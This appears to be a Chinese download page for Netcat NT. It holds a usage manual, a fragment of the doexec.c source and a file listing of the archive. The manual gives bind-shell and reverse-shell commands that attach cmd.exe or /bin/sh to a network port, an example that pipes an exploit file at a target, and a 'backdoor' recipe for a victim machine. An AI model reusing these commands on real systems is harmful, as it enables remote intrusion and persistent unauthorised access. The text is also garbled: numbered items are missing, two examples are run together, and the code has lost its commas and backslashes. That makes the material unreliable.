資源簡介
軟件介紹:
工具名:Netcat
作者:Hobbit && Chris Wysopal
類別:開放源碼
平臺:Linux/BSD/Unix/Windows
WINDOWS下版本號:[v1.10 NT]
參數(shù)介紹:
*nc.exe -h*即可看到各參數(shù)的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
-d 后臺模式
-e prog 程序重定向,一旦連接,就執(zhí)行 [危險!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 幫助信息
-i secs 延時的間隔
-l 監(jiān)聽模式,用于入站連接
-L 連接關(guān)閉后,仍然繼續(xù)監(jiān)聽
-n 指定數(shù)字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 隨機本地及遠程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出–用兩個-v可得到更詳細的內(nèi)容
-w secs timeout的時間
-z 將輸入輸出關(guān)掉–用于掃描時
端口的表示方法可寫為M-N的范圍格式。
========================================================
基本用法:
1)連接到REMOTE主機,例子:
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
2)監(jiān)聽LOCAL主機,例子:
格式:nc -l -p 80
講解:監(jiān)聽本機的TCP80端口
3)掃描遠程主機,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5)REMOTE主機綁定SHELL并反向連接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL并反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令”|”與重定向命令””等等命令功能更強大……)。
========================================================
高級用法:
6)作攻擊程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 c:log.txt
講解:使用*-L*可以不停地監(jiān)聽某一個端口,直到ctrl+c為止,同時把結(jié)果輸出到*c:log.txt*中,如果把*>* 改為*>>*即可以追加日志
附:*c:log.txt*為日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
講解:使用*-L*可以不停地監(jiān)聽某一個端口,直到ctrl+c為止,并把*c:honeypot.txt*的內(nèi)容*送*入其管道中
10) 后門
victim machine: //受害者的機器
nc -l -p port -e cmd //win2000
nc -l -p port -e /bin/sh //unix,linux
代碼片段和文件信息
//?portions?Copyright?(C)?1994?Nathaniel?W.?Mishkin
//?code?taken?from?rlogind.exe
?
#include?
#include?
#include?se.h>
#ifdef?GAPING_SECURITY_HOLE
#define?BUFFER_SIZE?200
extern?char?*?pr00gie;
void?holler(char?*?str?char?*?p1?char?*?p2?char?*?p3?char?*?p4?char?*?p5?char?*?p6);
char?smbuff[20];
//
//?Structure?used?to?describe?each?session
//
typedef?struct?{
????//
????//?These?fields?are?filled?in?at?session?creation?time
????//
????HANDLE??ReadPipeHandle;?????????//?Handle?to?shell?stdout?pipe
????HANDLE??WritePipeHandle;????????//?Handle?to?shell?stdin?pipe
????HANDLE??ProcessHandle;??????????//?Handle?to?shell?process
????//
????//
????//?These?fields?are?filled?in?at?session?connect?time?and?are?only
????//?valid?when?the?session?is?connected
????//
????SOCKET??ClientSocket;
????HANDLE??ReadShellThreadHandle;??//?Handle?to?session?shell-read?thread
????HANDLE??WriteShellThreadHandle;?//?Handle?to?session?shell-read?thread
}?SESSION_DATA?*PSESSION_DATA;
//
//?Private?prototypes
//
static?HANDLE
StartShell(
????HANDLE?StdinPipeHandle
????HANDLE?StdoutPipeHandle
????);
static?VOID
SessionReadShellThreadFn(
????LPVOID?Parameter
????);
static?VOID
SessionWriteShellThreadFn(
????LPVOID?Parameter
????);
//?**********************************************************************
//
//?CreateSession
//
//?Creates?a?new?session.?Involves?creating?the?shell?process?and?establishing
//?pipes?for?communication?with?it.
//
//?Returns?a?handle?to?the?session?or?NULL?on?failure.
//
static?PSESSION_DATA
CreateSession(
????VOID
????)
{
????PSESSION_DATA?Session?=?NULL;
????BOOL?Result;
????SECURITY_ATTRIBUTES?SecurityAttributes;
????HANDLE?ShellStdinPipe?=?NULL;
????HANDLE?ShellStdoutPipe?=?NULL;
????//
????//?Allocate?space?for?the?session?data
????//
????Session?=?(PSESSION_DATA)?malloc(sizeof(SESSION_DATA));
????if?(Session?==?NULL)?{
????????return(NULL);
????}
????//
????//?Reset?fields?in?preparation?for?failure
????//
????Session->ReadPipeHandle??=?NULL;
????Session->WritePipeHandle?=?NULL;
????//
????//?Create?the?I/O?pipes?for?the?shell
????//
????SecurityAttributes.nLength?=?sizeof(SecurityAttributes);
????SecurityAttributes.lpSecurityDescriptor?=?NULL;?//?Use?default?ACL
????SecurityAttributes.bInheritHandle?=?TRUE;?//?Shell?will?inherit?handles
????Result?=?CreatePipe(&Session->ReadPipeHandle?&ShellStdoutPipe
??????????????????????????&SecurityAttributes?0);
????if?(!Result)?{
????????holler(“Failed?to?create?shell?stdout?pipe?error?=?%s“
itoa(GetLastError()?smbuff?10)?NULL?NULL?NULL?NULL?NULL);
????????goto?Failure;
????}
????Result?=?CreatePipe(&ShellStdinPipe?&Session->WritePipeHandle
????????????????????????&SecurityAttributes?0);
????if?(!Result)?{
????????holler(“Failed?to?create?shell?stdin?pipe?error?=?%s“??
itoa(GetLastError()?smbuff?10)?NULL?NULL?NULL?NULL?NULL);
????????goto?Failure;
????}
????//
????//?Start?the?shell
????//
????Sessi
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????12039??1997-11-28?14:48??NC\doexec.c
?????文件???????7283??1996-07-09?16:01??NC\generic.h
?????文件??????22784??1996-11-06?22:40??NC\getopt.c
?????文件???????4765??1994-11-03?19:07??NC\getopt.h
?????文件??????61780??1998-02-06?15:50??NC\hobbit.txt
?????文件????????544??1997-11-28?14:36??NC\makefile
?????文件??????59392??1998-01-03?14:37??NC\nc.exe
?????文件??????69081??1998-01-04?15:17??NC\NETCAT.C
?????文件???????6771??1998-02-06?17:53??NC\readme.txt
????..AD...?????????0??2011-08-21?12:13??NC
?????文件???????9219??2012-05-12?16:41??使用手冊.txt
-----------?---------??----------?-----??----
???????????????253658????????????????????11
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